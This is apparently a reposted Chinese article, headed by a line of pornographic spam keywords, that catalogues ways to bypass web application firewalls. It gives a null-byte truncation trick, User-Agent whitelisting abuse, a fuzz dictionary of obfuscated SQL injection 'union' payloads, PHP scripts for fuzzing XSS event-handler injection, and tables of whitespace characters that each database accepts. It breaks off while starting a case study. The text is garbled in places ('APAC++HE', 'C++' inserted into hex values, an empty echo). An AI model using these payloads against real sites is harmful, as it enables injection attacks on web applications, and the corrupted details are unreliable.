真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯網站制作重慶分公司

WAF繞過的一些總結和思考,WAF怎么防繞過。

WAF分類:

1.網絡層類
2.最常見且容易部署的應用層類 (部署在APAC++HE之前,APAC++HE之后)

應用層WAF – 利用WAF自身缺陷和MySQL語法特性并結合實際繞過:
WAF最常見檢測方式:關鍵詞檢測 例如 如果出現 [空格]union[空格] 這樣的SQL語句則視為惡意請求,丟棄這個數據包,XSS代碼同理。

常見的繞過類型:

類型1:
數據包 -> WAF(利用string存儲請求參數,解碼后檢測)-> APAC++HE
C++語言等利用string等儲存結構存儲請求,在解碼時,%00會成為 NULL 從而截斷接下去的請求內容
因此例如 ?id=1%00%20and%201=1 就成為了 ?id=1 從而繞過WAF檢測


類型2:
數據包 -> WAF ->APAC++HE

繞過邏輯:
WAF對某些User-Agent特殊放行(如百度spider 的UA)
WAF對某些POST包特殊放行(文件上傳包)

類型3:
數據包 -> WAF ->APAC++HE
利用mysql的語法特性和html代碼的特殊書寫方式、瀏覽器的渲染方式繞過。由于實際***測試過程中對WAF的實際檢測邏輯并不清楚,所以利用fuzz是最好的方法,這也是WAF最常見的繞過方法。

FUZZ字典:
%a0union%a0 (WAF中正則表達式 \s 并不能匹配 %a0 但MYSQL視之為 空格)
%0aunion%0a
%0bunion%0b (WAF中正則表達式 \s \t 并不能識別匹配 %0b)
%09union%09
/**/union/**/
%0dunion%0d
/*%e4*/union/*%e4*/(UTF8中的半個中文 正則表達式中任意匹配符(.)不能匹配該內容)
`version`() (MYSQL語法特性 函數可以書寫成 `函數名`())
/*!union*/
8E0union (MYSQL語法特性,檢測為浮點數后語境結束,視為空格,下2同)
8.0union
\Nunion
.1union/*.1*/
...

XSS類的一個fuzz實例:

《Fuzz 來檢測 onerror 前可以無縫連接怎樣的字符》
編寫fuzzz.php 和 fuzz.php 代碼如下

Fuzzz.php:


$urlhex=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'];
$i=0;
$ii=0;
for ($i=0; $i < 16 ; $i++) {
for ($ii=0; $ii < 16; $ii++) {
$hex = $urlhex[$i] . $urlhex[$ii];
$realhex = '%' .$urlhex[$i] . $urlhex[$ii];
echo "";

}
}
?>


Fuzz.php:


$code = $_GET['c'];
$cc = $_GET['d'];
?>

onerror="alert('')">


運行Fuzzz.php 進行自動fuzz,結果為:

0c,0d,2f,0a,20,09

1506031300c24c8e0557b05eb0.jpg

同理可以fuzz出各種標簽的其他位置可以插入的特殊字符。


附SQL語句空白符FUZZ結果:

SQLite3:0A,0D,0C++,09,20
MySQL5:09,0A,0B,0C++,0D,A0,20
PosgresSQL:0A,0D,0C++,09,20
Oracle_11g:00,0A,0D,0C++,09,20
MSSQL:01,02,03,04,05,06,07,08,09,0A,0B,0C++,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C++,1D,1E,1F,20


類型4:

數據包 -> WAF ->APAC++HE
這是WAF無法考慮到的…
多次惡意代碼檢測和處理 留下的隱患:
例子(已修復):
漏洞名稱:crm2.qq.com XSS
提交時間:2015-03-30 13:39:31
“這個時候就遇到了你們的迷之waf,